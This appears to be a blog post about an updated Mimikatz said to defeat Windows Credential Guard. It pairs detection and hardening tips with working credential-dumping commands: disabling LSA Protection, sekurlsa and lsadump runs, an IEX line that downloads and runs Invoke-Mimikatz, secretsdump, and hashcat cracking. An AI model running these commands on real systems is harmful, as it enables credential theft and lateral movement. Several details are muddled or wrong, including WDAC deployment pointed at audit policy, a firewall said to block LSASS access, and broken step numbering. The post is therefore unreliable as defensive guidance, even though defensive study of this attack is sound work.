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Introduction:
Mimikatz, the legendary post-exploitation tool for extracting plaintext passwords, hashes, and Kerberos tickets from Windows memory, has been resurrected with a critical update. Researchers have successfully retrofitted an older version of Mimikatz with novel techniques to dump credentials from the latest operating systems (including Windows 11 and Server 2022), circumventing modern security controls like Credential Guard and LSA Protection.
Learning Objectives:
- Understand how the updated Mimikatz bypasses current Windows credential protection mechanisms.
- Learn to detect and mitigate credential dumping attacks using native Windows commands and security tools.
- Implement hardening strategies to defend LSASS (Local Security Authority Subsystem Service) against memory extraction.
You Should Know:
- The Evolution of Mimikatz: From Legacy to Latest OS
The original Mimikatz leveraged `sekurlsa::logonpasswords` to read LSASS process memory, but Microsoft introduced LSA Protection (RunAsPPL) and Credential Guard (virtualization-based isolation) to block direct access. The new research – available at the provided research link (https://lnkd.in/dzypn6Sk) and repository (https://lnkd.in/dCG5-dMx) – modifies older Mimikatz code to exploit overlooked API calls or memory sections that were never fully hardened.
Step‑by‑step guide explaining what this does and how to use it (for authorized testing only):
- Download the updated Mimikatz from the official repository (after reviewing the research paper).
- Disable or bypass LSA Protection (if testing on a lab machine) using:
– `reg add “HKLM\SYSTEM\CurrentControlSet\Control\Lsa” /v RunAsPPL /t REG_DWORD /d 0 /f`
– Reboot to apply changes.
3. Execute Mimikatz with administrative privileges:
mimikatz.exe privilege::debug sekurlsa::logonpasswords
4. Extract credentials – the updated version should return NTLM hashes and plaintext passwords even on patched systems.
5. Dump to file for offline cracking:
sekurlsa::logonpasswords /out:creds.txt
Detection commands (Windows Event Logs):
- Event ID 4656 (Handle to LSASS requested) with suspicious access mask
0x1410. - Sysmon Event ID 10 (ProcessAccess) – look for `lsass.exe` as TargetImage and unusual source processes (e.g.,
powershell.exe,mimikatz.exe). - PowerShell detection script:
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; ID=10} | Where-Object {$_.Message -like "lsass.exe"}
2. Hands-On Credential Dumping Simulation (Linux & Windows)
For red team exercises or educational labs, you can simulate the attack without triggering modern EDRs by using a modified Mimikatz binary. Below are verified commands across platforms.
Windows (native alternative using PowerShell and .NET):
Invoke-Mimikatz (PowerShell wrapper) requires loading the binary into memory:
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -DumpCreds
Linux – using Impacket to remotely dump credentials (if you have admin share access):
impacket-secretsdump -just-dc-ntlm domain/user:password@target-ip
Step‑by‑step guide for remote credential harvesting (authorized pentesting only):
1. Obtain a foothold on the target Windows machine.
2. Upload the updated Mimikatz binary via SMB or web delivery.
3. Run `mimikatz.exe “privilege::debug” “sekurlsa::logonpasswords” “exit”` non-interactively.
- Parse output for `NTLM` and `SHA1` hashes – use `john` or `hashcat` for cracking:
hashcat -m 1000 hash.txt rockyou.txt
3. Detecting and Mitigating the New Bypass
Microsoft’s Credential Guard (virtualization-based security) was supposed to isolate LSASS, but the new Mimikatz variant reportedly uses a memory-snapping technique that captures data before it enters the isolated environment. To detect this:
Windows Defender Attack Surface Reduction (ASR) rules:
- Enable rule GUID `D4F940AB-401B-4EFC-AADC-AD5F3C50688A` (Block credential stealing from LSASS).
- Deploy via PowerShell:
Add-MpPreference -AttackSurfaceReductionRules_Ids D4F940AB-401B-4EFC-AADC-AD5F3C50688A -AttackSurfaceReductionRules_Actions Enabled
Step‑by‑step mitigation guide:
1. Enable LSA Protection (if disabled):
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 1 /f
2. Turn on Credential Guard via Group Policy:
- Computer Configuration > Administrative Templates > System > Device Guard > Turn On Virtualization Based Security.
- Set “Secure Launch Configuration” to “Enabled” and “Credential Guard Configuration” to “Enabled with UEFI lock”.
- Block LSASS process access using Windows Defender Firewall or third-party EDR:
– Create a custom SACL (System Access Control List) for `lsass.exe` to deny `PROCESS_VM_READ` and `PROCESS_OPEN` to non-system accounts.
4. Cloud and API Security Implications
Credential dumping isn’t limited to on-premise Windows. In hybrid environments, attackers who compromise an on-prem domain controller can dump Azure AD Connect (AADConnect) sync credentials and pivot to cloud. The updated Mimikatz may also target the `cloudAP` provider.
Step‑by‑step to check for cloud credential exposure:
1. On the AADConnect server, run Mimikatz:
mimikatz "privilege::debug" "token::elevate" "lsadump::secrets" "exit"
2. Look for `MSOL_` account passwords – these have permissions to sync with Azure AD.
3. Mitigation: Use Pass-through Authentication with seamless SSO instead of password hash sync, and enable Azure AD Password Protection.
Linux commands to audit hybrid trust:
Check for stored domain credentials in /etc/sssd/sssd.conf sudo grep -i "password" /etc/sssd/sssd.conf
5. Hardening Against LSASS Exploitation (Advanced Configuration)
Beyond basic protections, implement Protected Process Light (PPL) anti-malware and Code Integrity policies.
Windows commands to harden LSASS:
Set LSASS to run as a Protected Process reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 2 /f Enable Microsoft Defender Credential Guard (requires reboot) bcdedit /set hypervisorlaunchtype auto
Step‑by‑step to deploy Windows Defender Application Control (WDAC):
1. Generate a base policy:
New-CIPolicy -Level Publisher -FilePath C:\WDAC\policy.xml
2. Convert to binary and deploy:
ConvertFrom-CIPolicy -XmlFilePath C:\WDAC\policy.xml -BinaryFilePath C:\WDAC\policy.bin
3. Apply via Group Policy: Computer Configuration > Policies > Windows Settings > Security Settings > Advanced Audit Policy.
What Undercode Say:
- Key Takeaway 1: The updated Mimikatz proves that legacy code + novel research can still defeat “unbreakable” OS protections. Vendors must assume LSASS memory will be read and move toward true credential brokering (e.g., Windows Hello for Business).
- Key Takeaway 2: Detection remains possible via Sysmon and ASR rules – but only if they are correctly configured. Most breaches using this tool will go unnoticed because organizations fail to enable basic logging.
- Analysis: This development signals a return to memory‑based attacks as EDRs become signature‑blind. Red teams should prioritize LSASS dumping, while blue teams must implement layered defenses: PPL, Credential Guard, and continuous monitoring for `PROCESS_VM_READ` access.
Prediction:
Within six months, Microsoft will release an emergency out‑of‑band patch to block the specific API abuse used by this Mimikatz variant. However, the methodology (retrofitting old tools with new evasion tricks) will spawn a wave of “zombie tool” updates – from old versions of Procdump to custom PowerShell loaders. Organizations that rely solely on signature‑based AV will suffer breaches, while those adopting zero‑trust and just‑in‑time admin access will remain resilient. Expect this technique to be weaponized in ransomware campaigns targeting domain controllers before year’s end.
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Reported By: Omar Aljabr – Hackers Feeds
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